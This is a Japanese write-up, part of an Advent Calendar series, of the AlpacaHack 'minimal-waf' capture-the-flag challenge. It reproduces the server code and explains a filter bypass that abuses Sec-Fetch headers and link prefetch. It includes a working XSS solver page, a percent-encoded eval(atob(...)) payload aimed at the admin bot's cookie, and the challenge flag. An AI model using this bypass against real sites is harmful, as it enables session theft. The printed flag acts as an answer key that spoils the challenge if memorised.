はじめに
この記事は 1日1CTF Advent Calendar 2024 の 9 日目の記事です。
問題
minimal-waf (問題出典: AlpacaHack Round 7)
Here is a minimal WAF! Note: Don't forget that the target host is localhost from the admin bot.
作問者 WriteUp も見ると理解が深まるかも。
問題概要
import express from "express";
const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
<h1>HTML Viewer</h1>
<form action="/view">
<p><textarea name="html"></textarea></p>
<div style="text-align: center">
<input type="submit" value="Render">
</div>
</form>
</body>
`.trim();
express()
.get("/", (req, res) => res.type("html").send(indexHtml))
.get("/view", (req, res) => {
const html = String(req.query.html ?? "?").slice(0, 1024);
if (
req.header("Sec-Fetch-Site") === "same-origin" &&
req.header("Sec-Fetch-Dest") !== "document"
) {
// XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
res.type("html").send(html);
return;
}
if (/script|src|on|html|data|&/i.test(html)) {
res.type("text").send(`XSS Detected: ${html}`);
} else {
res.type("html").send(html);
}
})
.listen(3000);
script
, src
, on
, html
, data
, &
を大文字小文字の区別なしで全て含まないような HTML をレンダリングしてくれるサービス。
ただし、Sec-Fetch-Site
ヘッダが same-origin
に設定されているかつ Sec-Fetch-Dest
ヘッダが document
でない場合はこの制限を無視できる。
flag は admin bot の cookie にあるので、XSS が必要そう。
考察
Sec-Fetch-Site
, Sec-Fetch-Dest
について調べてみる。( 参考1 , 参考2 )
Sec-Fetch-Site
はリクエストがとこから生まれたのか、Sec-Fetch-Dest
はそのリクエストのデータが何に使われるのかを示していて、ブラウザが勝手に入れてくれるらしい。
制限された文字を眺めていると、<link>
は href
でパスを指定できるので、制限を回避できることを思いついた。
<link href="style.css" rel="stylesheet">
とはいえ css を入れられても嬉しくないので他に何ができるか調べてみる。
このページ によると、prefetch
が使えるらしい。
<link href="/view?html=<script>eval(atob('<PAYLOAD>'))</script>" rel="prefetch" />
を読み込ませると、Sec-Fetch-Dest
が empty
となり制限を無視して XSS できる HTML が返ってくる。そのまま別タブなどで /view?html=<script>+eval(atob('<PAYLOAD>'))</script>
を読み込むと、prefetch
したデータがそのまま読み込まれるので、XSS を発動できる。
実際は、一旦 http://localhost:3000/view?html=<payload>
上で <link>
を表示するために一回は制限を普通に回避しなければならないので、 <link>
内部の URL のエスケープが必要。下のような感じ。
<link href="/view?%68tml=<%73cript>eval(atob('<PAYLOAD>'))</%73cript>" rel="prefetch" />
solver
以下の html ファイルをどこかにホストして、admin に踏ませればいい。
<PAYLOAD>
には base64 した javascript を書いておく。
<script>
const sleep = (milliseconds) => {
return new Promise(resolve => setTimeout(resolve, milliseconds))
}
async function solve() {
let w = window.open("http://localhost:3000/view?html=%3Clink+href%3D%22%2Fview%3F%2568tml%3D%3C%2573cript%3Eeval%28atob%28%27<PAYLOAD>%27%29%29%3C%2F%2573cript%3E%22+rel%3D%22prefetch%22+%2F%3E", "_blank");
await sleep(1000);
let w2 = window.open("http://localhost:3000/view?%68tml=%3C%73cript%3Eeval(atob(%27<PAYLOAD>%27))%3C/%73cript%3E", "_blank");
}
solve();
</script>
flag: Alpaca{WafWafPanic}